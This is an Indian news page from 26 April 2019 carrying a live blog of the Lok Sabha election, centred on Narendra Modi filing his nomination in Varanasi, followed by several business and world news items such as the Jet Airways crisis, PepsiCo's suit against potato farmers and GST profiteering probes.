"There is a realisation that days of black money have ended, we have to do business honestly. Demonetisation has stemmed the flow of black money and this has changed the mindset of the citizens. Some of the credit for low inflation goes to demonetisation," says PM Modi. 7:49pm: "Demonetisation wasn't done for elections. Our opponents in Uttar Pradesh fought on the issue of demonetisation but the people of UP gave a slap on their faces that now they don't even talk about it. They are still crying about it because they have lost a lot. There were photographs of money being taken out from inside cots, jute bags kept in the garages of corrupt politicians and bureaucrats. Rs 1.30 cr was seized. Benami properties worth Rs 50,000 cr were seized. More than 3 lakh shell companies have been shut down. Tax collections have increased," said PM Modi. 7:45pm: Compared to 2014, when inflation made headlines, it is no longer being discussed, PM Modi said. 7:38pm: "Assessing job numbers is a big challenge in front of the government. We'll have to use realtime information technology, we are working on it. We might bring a mechanism of global standards within a year or two," says PM Modi. 7:35pm: Talking to India Today TV, PM Narendra Modi said that 1.25 crore jobs have been created every year. The Prime Minister said, "The CII and Nasscom reports have showed there has been an increase in job creation. EPFO figures show almost 1.25 crore jobs have been added every year. 4.5 crore people got bank loans for the first time under Mudra Yojana. If the roads are being constructed, are jobs not being created?" 7:18pm: "For the first three phases, the focus of Opposition's absues was me. But now they are targeting EVMs," PM Narendra Modi said 7:15pm: "I don't have rivals, I have competitors." PM Narendra Modi talks to India Today and Aaj Tak in an exclusive interview. 6:20pm: Election Commission of India has issued a notice to BJP District President of Nadia, West Bengal Mahadev Sarkar for violation of Model Code of Conduct by making personal remarks against TMC's Mahua Moitra during a public meeting. Sarkar has been barred from holding any election campaign or interviews in media in connection with the Lok Sabha election, for 48 hours, starting from 4:00pm on April 26. Election Commission has issued a notice to Nadia BJP District President Mahadev Sarkar for violation of Model Code of Conduct by making statements attacking personal life of Mahua Moitra (TMC) during a public meeting at Krishnanagar Govt College on April 22. #WestBengal https://t.co/0pza6GXftf ANI (@ANI) April 26, 2019 5:35pm: "Remember how Congress people made fun of 'Swachh Bharat mission'. They didn't leave any chance to call the idea a small one. Whenever I used to pick the broom, they used to spend the entire day trolling me on social media," PM Narendra Modi said during an election rally in Jabalpur, Madhya Pradesh. PM in Jabalpur, Madhya Pradesh: Remember how Congress people made fun of 'Swachh Bharat mission'. They didn't leave any chance to call the idea a small one. Whenever I used to pick the broom, they used to spend the entire day trolling me on social media pic.twitter.com/VEHVfyEAnZ ANI (@ANI) April 26, 2019 4:25pm: AAP leader and East Delhi Lok Sabha candidate Atishi Marlena has filed a criminal complaint in the trial court against cricketer and BJP candidate Gautam Gambhir, seeking direction to police to investigate him for allegedly enrolling as voter in two separate constituencies. The Tees Hazari Court in Delhi will hear the matter on May 1. Atishi Marlena, AAP leader & East Delhi Lok Sabha candidate, has filed a criminal complaint in the trial court against cricketer & BJP candidate Gautam Gambhir seeking direction to police to investigate Gambhir for allegedly enrolling as voter in two separate constituencies. pic.twitter.com/JzGUOyjkpd ANI (@ANI) April 26, 2019 4:10pm: Preneet Kaur, Congress candidate from Patiala Lok Sabha seat and wife of Punjab Chief Minister Captain Amarinder Singh, filed her nomination. Patiala: Preneet Kaur, Congress candidate from Patiala & wife of Punjab Chief Minister Captain Amarinder Singh, files her nomination for #LokSabhaElections2019 . Captain Amarinder Singh also present. pic.twitter.com/tPGL2OgFrO ANI (@ANI) April 26, 2019 4:02pm: Delhi Court seeks action report from police on complaint seeking directions for FIR under 124A (sedition charges) against Congress president Rahul Gandhi for alleged derogatory remark against the Prime Minister. Delhi Court seeks action taken report from Police on complaint seeking directions for FIR u/s 124A(Sedition charges) against Rahul Gandhi for derogatory remark against PM&for accusing him of 'hiding behind blood of soldiers&doing dalali on their sacrifice'.Matter fixed for May 15 pic.twitter.com/TBSRFjMjd0 ANI (@ANI) April 26, 2019 3.55 pm: Prime Minister Narendra Modi has filed his nomination from the Varanasiconstituency in Uttar Pradesh today. As per the election affidavit filed byhim, he has disclosed his movable and immovable assets to the tune of Rs 2.51crore. Out of the Rs 2.51 crores, movable assets comprise Rs 1.41 crore andimmovable assets are valued at Rs 1.1 crore. 3.17 pm: "The Congress says it will remove the army from Kashmir, will remove the special powers of the Jawans, will remove the law of treason. Can such a congress destroy a terrorist?": PM Modi 3.00 pm: PM Modi in Sidhi, MP blamed Congress of betraying the people of the state as it promised to reduce the electricity bills but instead decreased the electricity supply in their homes. "Congress had promised to reduce electricity bills & found a solution to do so by reducing electricity supply in your homes. Congress govt here is running on the formula of supplying lesser electricity than previous Shivraj govt. Is this not betrayal?" he said. 2.26 pm: Wrestler The Great Khali campaigns for BJP's Jadavpur candidate Anupam Hazra in Kolkata Kolkata: Wrestler The Great Khali campaigns for BJP's Jadavpur candidate Anupam Hazra. #WestBengal pic.twitter.com/kDH9vghZFi - ANI (@ANI) April 26, 2019 2.20 pm: Singer Daler Mehndi joins BJP. Singer Daler Mehndi joins Bharatiya Janata Party pic.twitter.com/l3axwHUrMg - Doordarshan News (@DDNewsLive) April 26, 2019 2.15 pm: PM Modi speaks at a rally in Sidhi, Madhya Pradesh. After programmes in Uttar Pradesh, I'm speaking at a rally in Sidhi, Madhya Pradesh. Watch. https://t.co/N6XxuFZuJ0 - Chowkidar Narendra Modi (@narendramodi) April 26, 2019 2.00 pm: Congress President Rahul Gandhi speaks at a public ralley in Samastipur, Bihar 1.45 pm: Congress General Secretary, UP East Priyanka Gandhi at a public meeting in Gursarai, Jhansi, UP Congress General Secretary for UP East Priyanka Gandhi Vadra, at a public meeting in Gursarai pic.twitter.com/WKLGi2fJUv - ANI UP (@ANINewsUP) April 26, 2019 1.28 pm: Shiromani Akali Dal leader and former Punjab Chief Minister Parkash Singh Badal who present in Varanasi today told ANI that there is no one in competition with PM Modi. The difference between Modi with Gandhis is just as between an elephant and ant. 1.06 pm: PM Modi talked to reporters outside the District Magistrate's office after filing his nomination papers in Varanasi. "I deeply express gratitude towards people of Kashi. They have again blessed me after 5 years. Such a grand roadshow yesterday was possible only in Kashi," he said. PM Narendra Modi: I deeply express gratitude towards people of Kashi. They have again blessed me after 5 years. Such a grand roadshow yesterday was possible only in Kashi. pic.twitter.com/CADm4PGy2h - ANI UP (@ANINewsUP) April 26, 2019 12: 37 pm: PM Modi thanked people of Varanasi and his party workers for the love and respect they showered on him and the massive support to his roadshow. Talking to reporters, the Prime Minister also requested voters throughout the country to come out and vote peacefully. 12.25 pm: Congress party took a jibe at PM Modi as he filed his nomination papers from Varanasi today. The party in a tweet said, "A son gave up his life taking a pledge to clean mother Ganga, but the self-proclaimed arrogant son of mother ganga did not budge. It is a world of shamelessness that the so called son who did not care for this mother Ganga for five years is now asking for vote in her name." 12.15 pm: Watch PM Modi filing his nomination from Varanasi 11.50 am: PM Modi files nomination papers from Varanasi Lok Sabha seat PM Modi has filed his nomination to contest elections for the Lok Sabha Election 2019 from Varanasi parliamentary constituency. #LokSabhaElections2019 : PM Narendra Modi files nomination from Varanasi parliamentary constituency. pic.twitter.com/V0RX2otJUv - ANI UP (@ANINewsUP) April 26, 2019 11.23 am: PM Modi meets and greets BJP and NDA leaders before he files his nomination papers at the collectorate office in Varanasi. The massive show of strength of the NDA allies had leaders like BJP President Amit Shah, Union Minister Rajnath Singh, Sushma Swaraj, Bihar CM and JD(U) chief Nitish Kumar, Shiv Sena chief Uddhav Thackeray, SAD chief Parkash Singh Badal and LJP chief Ram Vilas Paswan. #WATCH: PM Narendra Modi meets NDA leaders at Collectorate office ahead of filing his nomination from Varanasi parliamentary constituency. pic.twitter.com/xVfO9kovHP - ANI UP (@ANINewsUP) April 26, 2019 11.19 am: Breaking News: No relief to Modi biopic, Supreme Court (SC) says not inclined to interfere with the Election Commission's order banning release. Supreme Court refuses to interfere with the Election Commission order banning release of biopic 'PM Narendra Modi'. pic.twitter.com/ZwYRzncZnx - ANI (@ANI) 26 April 2019 11.15 am: PM Modi arrives at the collectorate office in Varanasi to file his nomination papers amidst the showering of petals by people and BJP party workers. Modi walks towards the nomination centre. 11.06 am: PM Modi on his way to the collectorate office in Varanasi to file his nomination papers. BJP and NDA leaders join him in a massive show of strength of the alliance. 11.01 am: Congress President Rahul Gandhi tweets engine trouble on his way to Patna today. Flight returns to Delhi. "Engine trouble on our flight to Patna today! We've been forced to return to Delhi. Today's meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience," he said. Engine trouble on our flight to Patna today! We've been forced to return to Delhi. Today's meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience. pic.twitter.com/jfLLjYAgcO - Rahul Gandhi (@RahulGandhi) 26 April 2019 10.54 am: PM Modi offered prayers at Kal Bhairav temple. The Prime Minister now leaves for the collectorate office to file his nomination papers. Varanasi votes on April 29 in the phase 4 of the Lok Sabha Election 2019 Prime Minister Narendra Modi offered prayers at Kaal Bhairav Temple in Varanasi; leaves for Collectorate office to file his nomination. #LokSabhaElections2019 pic.twitter.com/4sn4pGR6o0 - ANI UP (@ANINewsUP) 26 April 2019 10.47 am: PM Modi walks towards the Kal Bhairav Temple in Varanasi PM Modi gets off from his car and walks towards the Kal Bhairav temple in Varanasi along with BJP leaders. 10.40 am: PM Modi's cavalcade heads to Kal Bhairav Temple in Varanasi PM Modi is on his way to offer his prayers to Kal Bhairav temple in Varanasi. Modi's car gets covered with rose petals by people and party workers. The Prime Minister will file his nomimation papers afterwards in his Lok Sabha constituency. 10.25 am: PM Modi to BJP workers at their meet in Varanasi: Banaras ka chunav aisa hona chahiye ki desh ke political panditon ko us par kitaab likhne ka mann kar jaaye. PM Modi to BJP workers at their meet in Varanasi: Kis party se kaun umeedwar hai, kripa karke yeh charcha mat karen, har umeedwar sammaniye hai, woh bhi loktantra ko mazboot banane ke liye maidan mein aya hai, woh humara dushman nahi hai. pic.twitter.com/GvirdM34tD - ANI UP (@ANINewsUP) April 26, 2019 10.08 am: Respect all party candidates: PM Modi PM Modi tells his party workers to respect all candidates even the ones from opposition parties who are contesting elections as they also are a part of the democratic process. "Don't get influenced by our fights in election rallies. No candidate is our enemy. They are all part of the democratic process. Respect them all." he says. 10.07 am: We need to break some records in Varanasi: PM Modi PM Modi tells party workers in Varanasi, we need to break some records in Varanasi. I have always wished that number of women voters' turn out will be more than 5% compared to men. I couldn't do this in Gujarat, but you can do it Varanasi. I have faith in you. 10.04 am: We won Kashi last night: PM Modi PM Modi tells party workers in Varanasi, Kashi was won by the party and party workers last night. The polling booths are the only thing left to be wonnow in Kashi. He says every party worker should take the responsibility to win each and every polling booth. 9.58 am: I have also been a fervent party worker: PM Modi tells BJP workers PM Modi says that he never evaded responsibilities of a party worker even after becoming the Prime Minister. "I have also written party posters in my initial days. I have never ignored my responsibilities as BJP karyakarta. 9.55 am: Every vote is important and precious, says PM Modi 9:50 am: PM Modi starts addressing BJP workers in Varanasi. PM Modi addresses BJP workers meet at #Varanasi: Main bhi booth ka karyakarta raha hun, mujhe hi diwaron par poster lagane ka saubhagya mila. Aaj iss manch ke madhyam se mein aapko aur desh ke sabhi nagarikon ko sabhi karyakartaon ka aabhaar vyakt karta hun pic.twitter.com/AqyVWmZzo8 - ANI UP (@ANINewsUP) 26 April 2019 9.40 am: NDA leaders reach Varanasi to join PM Modi NDA leaders reached Varanasi this morning to join Prime Minister Narendra Modi as he files his nomination papers in his Lok Sabha constituency today. Leaders who reached the temple town are Shiv Sena Chief Uddhav Thackeray, Shiromani Akali Dal (SAD) Chief Parkash Singh Badal, AIADMK leader Thambidurai. JD(U) leader Nitish Kumar will soon land in Varanasi. A meeting is underway between the NDA leaders and BJP President Amit Shah. BJP President Amit Shah at NDA leaders meet in Varanasi; Later today, PM Narendra Modi will file his nomination from Varanasi Parliamentary seat. pic.twitter.com/6KvJcMjyn1 - ANI UP (@ANINewsUP) 26 April 2019 9.35 am: PM Modi to speak to Aaj Tak today Prime Minister Modi will speak exclusively to India Today editors in Varanasi today. The interview will be aired on Aaj Tak at 7 pm tonight. 9:30 am: PM Modi to offer prayers at Kaal Bhairav temple before filing nomination papers Prime Minister Modi will pray at Kaal Bhairav temple, which is one of the oldest Shiva temples in the country. He will also meet booth-level workers before he goes ahead to file his nomination papers in Varanasi. 9.20 am: PM Modi's grand roadshow last night Prime Minister Narendra Modi held a mega roadshow in Varanasi Thursday drawing a deluge of crowds before he culminated the show with a Ganga aarti at the Dashashwamedh ghat. Modi was flanked by BJP president Amit Shah, Uttar Pradesh Chief Minister Yogi Adityanath and other senior BJP leaders. After a mega road show in the holy city of Varanasi on Thursday, Prime Minister Narendra Modi filed his nomination on Friday. He was flanked by all top leaders of the National Democratic Alliance (NDA), including JD (U) chief Nitish Kumar, LJP chief Ram Vilas Paswan, Shiv Sena supremo Uddhav Thackeray and SAD patron Prakash Singh Badal. All of them accompanied Modi to the collectorate as the PM headed to file his papers, seeking re-election from the temple town. Before filing the nomination papers, PM Modi prayed at the temple of Bhagwan Kaal Bhairav, also revered as the Kotwal of Kashi. Varanasi will go to poll in the fourth phase of the Lok Sabha election 2019. The Congress on Thursday pitted Ajay Rai against Modi, ending speculation that the grand old party could field Priyanka Gandhi from Varanasi. "I deeply express gratitude towards people of Kashi. They have again blessed me after five years. Such a grand roadshow yesterday was possible only in Kashi," Modi told the media after filing his nomination. #WATCH: PM Narendra Modi files nomination from Varanasi parliamentary constituency. #LokSabhaElections2019 pic.twitter.com/ym9x2gCYYG ANI UP (@ANINewsUP) April 26, 2019 Before filing my nomination papers, prayed at the temple of Bhagwan Kaal Bhairav, also revered as the Kotwal of Kashi. pic.twitter.com/AuEy9GjHQO Chowkidar Narendra Modi (@narendramodi) April 26, 2019 Later, Prakash Singh Badal told ANI that India had decided who their PM should be, and that there was no candidate who could match the stature of PM Modi. Parkash Singh Badal, Shiromani Akali Dal: Hindustan ke logon ne yeh sochna hai ki humara PM kaun ho? Modi sahab se muqabale mein kaun ho sakta hai...yeh jo Gandhi hain, yeh jo jaise haathi aur keedi ka farak hota hai, itna farak hai. pic.twitter.com/3bNevGBzOJ ANI (@ANI) April 26, 2019 The prime minister, who reached here on Thursday and brought life to a standstill as he held a seven-kilometre roadshow through the town, also addressed party workers in the morning. The country, he said, is witnessing a pro-incumbency wave for the first time. He noted that the mood is festive from Kashmir to Kanyakumari and said party workers are the real candidates. The prime minister said he had worked honestly for good governance and the people had made up their minds that they want another Modi government. "During yesterday's roadshow here, I have sensed the hard work of party cadre," he said amid chants of "Modi Modi". Modi, who also participated in the "Ganga aarti" at the Dashashwamedh ghat, addressed a late night meeting here on Thursday. While the last five years were about his government making sincere efforts, the next five will be about results, he said. Modi also laid stress on national security and said new India would give a befitting reply to terror. In 2014, Modi won the Varanasi Lok Sabha seat, defeating Aam Aadmi Party chief Arvind Kejriwal by a massive margin of 3.37 lakh vote. Modi pulled 5,16,593 votes -- about half the total votes -- while Congress' Ajay Rai finished third. Rai is the Congress candidate again this time from the constituency that goes to the polls on May 19. BJP leaders, including party president Amit Shah, Uttar Pradesh Chief Minister Yogi Adityanath and senior Union ministers Rajnath Singh and Sushma Swaraj, were also present on the occasion. manoj Sharma with agency inputs 26 Apr 2019, 12:15 PM Maruti's decision to phase out diesel by April 2020 may hasten the end of the road for the fuel India's largest carmaker Maruti Suzuki India Ltd (MSIL) on Thursday said it will stop selling diesel cars in its portfolio--all seven of them, from April 1, 2020, when the new BS VI fuel economy norms kick in, which will make diesel vehicles significantly more expensive. Microsoft inches toward $1 trillion valuation, boosted by cloud business Microsoft Corp.'s cloud computing business fueled quarterly sales and profit that topped analysts' estimates, boosted by several new deals with large corporate clients. The company's shares rose as much as 5.1 per cent Thursday morning in New York, briefly pushing its valuation across $1 trillion before pulling back slightly. Sri Lanka revises death toll from attacks down by 100 Sri Lankan officials revised the death toll from Easter Sunday bombings down by about 100 on Thursday, blaming the difficulty in identifying body parts at bomb scenes for the earlier inaccurate number.The new official figure was 253. India alleges big multinationals did not pass on tax benefits: source Indian tax authorities have alleged that a number of big multinational companies have not passed on benefits from a tax cut to customers, a senior government official told Reuters. The official said, for example, that the tax authorities have alleged that U.S. consumer goods maker Procter & Gamble did not pass on more than $35 million in tax benefits which were meant to have gone to its customers. Samsung to install 40 Onyx Cinema LED in India by 2022 Consumer electronics major Samsung is aiming to sell around 40 LED cinema screens 'Onyx' in the country by 2022, a company official said on Thursday. The company is expecting a good business opportunity in the segment as the movie exhibition industry is expanding and is getting updated with modern technologies. Vijay Mallya extradition: London court to hear fugitive tycoon's plea on July 2 The London High Court will hear embattled fugitive businessman Vijay Mallya's oral plea against his extradition on July 2. Earlier, the London HC had rejected the Indian tycoon's plea against the extradition order by the UK Home Office and the Westminster Court. During a hearing back home in India on Thursday, Mallya's lawyer told the Bombay High Court that by declaring him a fugitive economic offender and allowing attachment of his assets, a special court had awarded him nothing but an "economic death penalty". Jet Airways pilots accuse Spicejet official of humiliating them during interview The pilots union of the grounded Jet Airways has expressed shock over some alleged remarks by a senior SpiceJet executive against their members during a recent recruitment drive in the city earlier this week. The reaction came after a Spicejet official allegedly told some Jet pilots that they were doing a "charity" by hiring them, according to sources. Over 1,300 pilots are on the street after Jet Airways announced halting of operations on April 17, endangering the jobs of over 20,000 employees The pilots union of the grounded Jet Airways has expressed shock over some alleged remarks by a senior SpiceJet executive against their members during a recent recruitment drive in the city earlier this week. The reaction came after a Spicejet official allegedly told some Jet pilots that they were doing a "charity" by hiring them, according to sources. Over 1,300 pilots are on the street after Jet Airways announced halting of operations on April 17, endangering the jobs of over 20,000 employees. "We are deeply disappointed and shocked at the treatment meted out to our members who have interacted with the top management of SpiceJet recently," the National Aviators Guild said in a statement Thursday. Jet Airways union says over 400 pilots left airline in past seven months "If true, we strongly condemn such unprofessional behaviour as it was humiliating and deeply disturbing for our colleagues," the guild said. SpiceJet, however, denied the allegations as "completely false and distorted," and said its team was in the city Tuesday to hire pilots and not to run them down. The Spicejet official also allegedly told Jet pilots that his carrier was losing huge money by hiring them as first officers as if they recruited fresher pilots, they would have got Rs 25 lakh per pilot besides a bond for Rs 25 lakh as well, the source said. After the grounding of Jet, government has allotted the vacant slots of Jet Airways to other airlines for the next three months to help tide over the crisis arising out of the huge capacity reduction provided they induct more planes. This saw IndiGo and SpiceJet announcing many new flights from Delhi and Mumbai, besides adding aircraft. SpiceJet has already announced leasing of 22 Boeing 737s to partly fill the capacity gap. In this back drop, it is hiring from across categories. "These are completely false and distorted allegations. Nothing can be farther from truth than to say that the executive used words like "charity", SpiceJet said in a statement late Thursday. The statement also clarified the security bond for first officers is as per the company policy and is not a practice new to the industry and that it has every right to follow its recruitment policies. In another development, senior BJP leader Subramanian Swamy, in a letter to aviation minister Suresh Prabhu urged government to merge Jet Airways with the struggling Air India. What are the options left for employees of Jet Airways? "The aviation ministry should recommend to the Cabinet that Jet Airways be merged with Air India to ensure air services are not restricted and also to enable Air India to recover its former premier position," said Swamy. "Any other solution is likely to raise speculation about corruption at high places and will certainly invite litigation...Recommend to stop this plunder of national assets investment, and the infrastructure of Air India," he added. He also alleged corruption in temporary allotment of the slots vacated by Jet to other airlines. Amidst the sale process of Jet, government has given a good number of Jet slots to other airlines mostly to SpiceJet, IndiGo, Vistara and GoAir, triggering a call from its lenders to protect them lest the prospective investors lose interest in acquiring it. "There is a serious effort going on by Spicejet and Vistara to benefit from this dismemberment of Jet Airways. This is being supported by some of your colleagues and officers," Swamy alleged. Swami had last week cautioned the government over the ongoing sale process of Jet. "Government better be careful. Two ministers are manipulating sale of Jet spoils to SpiceJet whose real owners I will reveal later. The only above-board option you have is amalgamation of Jet with Air India since bilaterals on airspace involves governments," Swamy had tweeted earlier this week. British entrepreneur Jason Unsworth takes up offer to buy stake in Jet Airways with lenders An IndiGo's flight from Delhi to Mumbai was delayed by nearly two hours Thursday evening after it developed a technical fault half an hour before its scheduled departure from the national capital, a source said. The private airline confirmed the incident and said the passengers were accommodated on an alternate flight to facilitate their journey. "After waiting for 25 minutes in the plane, we were informed that the plane had confronted some technical glitch and that was causing the delay. "Later, we were deplaned, saying the engineers were to inspect the plane," said an affected passenger. The flight 6E-755 finally departed for Mumbai at around 6 pm after a delay of nearly two hours, the passenger added. IndiGo hikes salaries of pilots, cabin crew after 3 years "An IndiGo A320 aircraft (non-neo) operating 6E-755 (DEL- BOM) was delayed by approximately 2 hours due to a minor technical glitch. The aircraft was held for further inspection. To minimise further delay, passengers were re-accommodated on an alternate flight," the airline said. The Directorate-General of Civil Aviation (DGCA) only recently conducted a special safety audit of the low-cost carrier for allegedly several lapses, non reporting/ irregular reporting of incidents besides issuing show-cause notices to its chief operating officer and head of engineering. IndiGo, however, claims that its "operations are run in more stringent ways as prescribed by regulatory framework." IndiGo defends decision to charge passengers for web check-ins; says practice followed globally Jet Airways' potential investors in a fix over bidding for grounded carrier TUNIS - The military forces of the government recognized by the international community under Prime Minister Fayez al-Sarraj have advanced south and made gains in the direction of the Qasr Ben Ghashir area. The announcement was made by the military spokesman of the Libyan Government of National Accord, Mohammed Gnounou. He added that the government forces had attacked the Ain Zara area, 15 kilometers southeast of the center of the capital, and surrounded the rival militias that surrendered and handed over their weapons. The number of IDPs resulting from the most recent armed clashes has risen to 37,600 in Tripoli and the surrounding area, according to the UN humanitarian agency OCHA in an update on the situation. It added that UNHCR and IOM had evacuated 328 refugees and migrants on April 24 from the Qasr Bin Ghashir detention center after 12 people were injured by an armed group inside the center on the previous day. The operation was carried out thanks to support from Libyan authorities, UNSMIL and OCHA, which made it possible to create a humanitarian corridor to enable the transfer. OCHA noted that over 3,300 refugees and migrants were still trapped inside detention centers located in areas hit by fighting or in areas at risk of armed conflict, including about 1,000 children. At least three explosions were reported at the Port Talbot facility of Tata Steel's Europe unit on Friday. Around 3:35 am local time, people residing near the steel plant reported that their houses shook from the explosions. Two employees were slightly injured in the ensuing fire, however, there were no serious injuries, the company said. The fire is now under control and the scope of damage is being assessed. In a series of tweet, Tata Steel's Europe division further confirmed that all fires have been extinguished and a full investigation has been launched in the case. "We can confirm two of our employees were slightly injured when there was a spillage of liquid iron while it was travelling to the steel plant. All fires have now been extinguished. A full investigation has begun," the company posted on its Twitter handle. Tata Steel Europe further said that the Port Talbot site has been re-opened to works traffic and any potential damage is being assessed. Situated in United Kingdom's South Wales, the Port Talbot steelworks facility has been in operation since 1900s and was acquired by Tata Steel in 2007 as part of its acquisition of Corus. The steel plant produces hot rolled, cold rolled and galvanized coil, among other types of steel. PepsiCo Inc has sued four Indian farmers for cultivating a potato variety that the snack food and drinks maker claims infringe its patent, the company and the growers said on Friday. Pepsi has sued the farmers for cultivating the FC5 potato variety, exclusively grown for its popular Lay's potato chips. The FC5 variety has a lower moisture content required to make snacks such as potato chips. PepsiCo is seeking more than 10 million rupees ($142,840.82) each for alleged patent infringement. The farmers grow potatoes in the western state of Gujarat, a leading producer of India's most consumed vegetable. "We have been growing potatoes for a long time and we didn't face this problem ever, as we've mostly been using the seeds saved from one harvest to plant the next year's crop," said Bipin Patel, one of the four farmers sued by Pepsi. Patel did not say how he came by the PepsiCo variety. A court in Ahmedabad, the business hub of Gujarat, on Friday agreed to hear the case on June 12, said Anand Yagnik, the lawyer for the farmers. "PepsiCo India has proposed to amicably settle with people who were unlawfully using seeds of its registered variety. PepsiCo has also proposed that they may become part of its collaborative potato farming program. This program gives them access to higher yields, enhanced quality, training in best-in-class practices and better prices. In case, they do not wish to join this program, they can simply sign an agreement and grow other available varieties of potatoes. It is significant to note that the company's collaborative potato farming program is best in class and is built on strong backward and forward linkages that improve livelihoods by using protected seeds," a PepsiCo spokesperson said. "The company was compelled to take the judicial recourse as a last resort to safeguard the larger interest of thousands of farmers that are engaged with its collaborative potato farming program. PepsiCo India remains deeply committed to resolving the matter and ensuring adoption of best farming practices," the company spokesperson further added. PepsiCo, which set up its first potato chips plant in India in 1989, supplies the FC5 potato variety to a group of farmers who in turn sell their products to the company at a fixed price. The All India Kisan Sabha, or All India Farmers' Forum, has asked the Indian government to protect the farmers. The farmers' forum has also called for a boycott of PepsiCo's Lay's chips and the company's other products. The Ministry of Agriculture & Farmers' Welfare did not immediately respond to an email seeking comment. PepsiCo is the second major U.S. company in India to face issues over patent infringement. Stung by a long-standing intellectual property dispute, seed maker Monsanto, which is now owned by German drugmaker Bayer AG, withdrew from some businesses in India over a cotton-seed dispute with farmers, Reuters reported in 2017. Also Read: SBI General PBT jumps 11.3% to Rs 470 crore in FY19; underwriting profit more than doubles to Rs 79 crore Also Read: Nirav Modi to remain in prison till May 24 after UK court denies bail again Also Read: Indian government looks to ban cryptocurrencies; starts consultations on bill Earlier this week, the GST profiteering investigation arm found P&G India guilty of not passing on GST rate cut benefits worth about Rs 250 crore to consumers. But the leading FMCG firm is not the only biggie under the scanner. Tax authorities have alleged that a number of big multinational companies, including South Korea's Samsung Electronics and US drug maker Johnson & Johnson, are guilty of the same, a senior government official told Reuters. GST rates on about 178 products were cut by the GST Council with effect from November 15, 2017. Among other things, the tax rates on washing powder, shampoo, cosmetics and dental hygiene were brought down to 18% from the highest slab of 28%. As per GST anti-profiteering rules, companies have to pass on the benefit of reduction of taxes to consumers by way of commensurate cut in product prices. P&G India's product line-up includes washing powder brands Ariel and Tide, shampoo brands Heads & Shoulders and Pantene, as well as shaving and dental hygiene brands Gillette and Oral-B. It also manufactures products under the brand name Ambi Pur, Pampers, Vicks and sanitary napkin Whisper. The Directorate General of Anti profiteering (DGAP) investigated the books of accounts of P&G India based on a complaint filed before the standing committee, and concluded that the consumer goods manufacturer has not lowered prices of certain products despite the reduction in the tax rate. However, P&G has denied any wrongdoing. "As a responsible corporate, P&G has always been committed to passing the net benefit of GST rate reduction to the consumers. We have passed the net benefit and communicated the same via advertising in mass media to help increase awareness with the consumers, shoppers and retailers," said a spokesperson. According to the news agency, P&G has been issued a notice to submit its reply on April 29 and explain why action should not be taken against it. The source added that the National Anti-Profiteering Authority (NAA) will pass a final order in the next three months. P&G, of course, will have the option to challenge this order in the courts. In December, the GST council had again reduced the tax rates on 23 goods and services. For instance, the tax rates on TV and monitor screens up to 32 inches were slashed from from 28% to 18%. The DGAP has reportedly served notice to Samsung India for not passing on the benefits of this tax cut to its customers. But the Korean company had also said that it had acted in accordance with the rules. "Samsung reduced its sales price according to GST reduction with effect from January 1, 2019. We are cooperating with DGAP on this matter," the company said in a statement. US healthcare giant J&J's India arm is similarly being investigated by the authorities for not reducing prices of products that saw a reduction in GST rates. "J&J, the makers of Stayfree and Carefree [sanitary] napkins, profiteered from around Rs 40 crore from the tax cuts announced by the government," sources in the know told DNA, quoting a DGAP report. The government exempted sanitary napkins from the goods and services tax GST rates on sanitary napkins with effect from July 7, 2018 - it fell in the 12% tax bracket previously. "The matter is currently under adjudication and we continue to work closely with the authorities to address any queries that they may have on the subject," a J&J spokeswoman said. Once a profiteering complaint is received against a company, the DGAP has the powers to look into the books of accounts and see if the benefits of tax rate cuts have been passed on in other products manufactured by the company as well. After studying the documents, the DGAP submits its report to the NAA for further action. If the latter finds a firm guilty of profiteering then the amount profiteered has to be refunded to consumers by the company. In case where the consumers cannot be identified, the amount reportedly has to be deposited into the consumer welfare fund of the Centre and states. In January, Minister of State for Finance Shiv Pratap Shukla informed the Parliament that the NAA had received 80 investigation reports from the DGAP, from which final orders have been issued in 29 cases. According to him, nine businesses were found to have not passed in rate cut benefits to the tune of Rs 559.88 crore to consumers. Edited by Sushmita Choudhury Agarwal (With PTI inputs) Diversified Piramal Enterprises Friday reported an 88 per cent dip in consolidated net income at Rs 456.24 crore for the three months to March, on the high base due to a one-time gain in the same period a year ago. In FY18, the company had booked a net income of Rs 3,943.98 crore on the back of a deferred-tax gain of Rs 3,569.18 crore following the merger of its subsidiaries. Excluding this one-time gain, the company said its 'normalised net profit' rose 25 per cent to Rs 470 crore in the reporting period from Rs 375 crore in the year-ago period. Consolidated revenue from operations stood at Rs 3,679.67 crore for the reporting quarter, up from Rs 2,991.06 crore in the same period a year ago. For the full fiscal 2019, net income stood at Rs 1,470.12 crore as against Rs 5,120.28 crore in the previous year. But the normalised net for the year rose 25 per cent to Rs 1,936 crore over FY18. "Strong growth in profitability was on account of higher revenue across all segments. We have been maintaining over 20 per cent growth in net income and revenue for the last 15 years and have been delivering a seven-year revenue CAGR of 28 per cent and a normalised net profit CAGR of 50 per cent," chairman Ajay Piramal told reporters in a concall. Loan book grew 34 per cent to Rs 56,624 crore, despite volatility in the NBFC sector, he said, adding gross NPAs of its financial services business stood at 0.9 per cent, while provisioning stood at 1.93 per cent of the loan book. Its wholesale real estate (excluding hospitality and lease rental discounting) exposure has significantly declined from 83 per cent in March 2015 to 63 per cent in March 2019. "On the other hand, our housing finance book grew to Rs 5,188 crore, representing 9 per cent of the overall loan book. We will continue to reduce our exposure in the wholesale realty segment and plans to take it down further to around 50 per cent this year, and increase the share of loans to other corporate, SMEs and housing finance," Piramal said. He said the company significantly diversified its borrowings in the year by raising long-term funds of Rs 16,500 crore since September 2018, apart from bringing down the CP borrowings by 50 per cent to Rs 8,900 crore from Rs 18,000 crore in September 2018. "We hope to reduce the dependence on CPs further down to around 10 per cent of our total borrowings this fiscal year itself and a lot will happen by June itself," he said. Piramal also said their differentiated business model in pharma has enabled them to sustain higher revenue growth in spite of the pricing pressures and regulatory concerns. On reports about plans to exit Shriram Capital, he said, "we are evaluating whether it makes sense and value for our shareholders to exit. There is no time limit to do it but if we get the right value, we will exit." The Piramal group invested in Shriram group six years ago. He further said he is also working to merge all the Shriram group entities and the financial services of Piramal and the insurance activities with the holding company, which is Shriram Capital for better synergies. Revenue from pharma business grew 11 per cent to Rs 1,477 crore for the quarter and 11 per cent to Rs 4,786 crore for the full year and the revenue from healthcare business grew 16 per cent to Rs 270 crore for the quarter and 10 per cent to Rs 1,332 crore for the full fiscal. On reports about Piramal looking at acquiring DHFL, he said, "by and large we are conservative as far as acquisition is concerned in the financial space sector. "We are looking at various portfolios and home loans and DHFL is one of 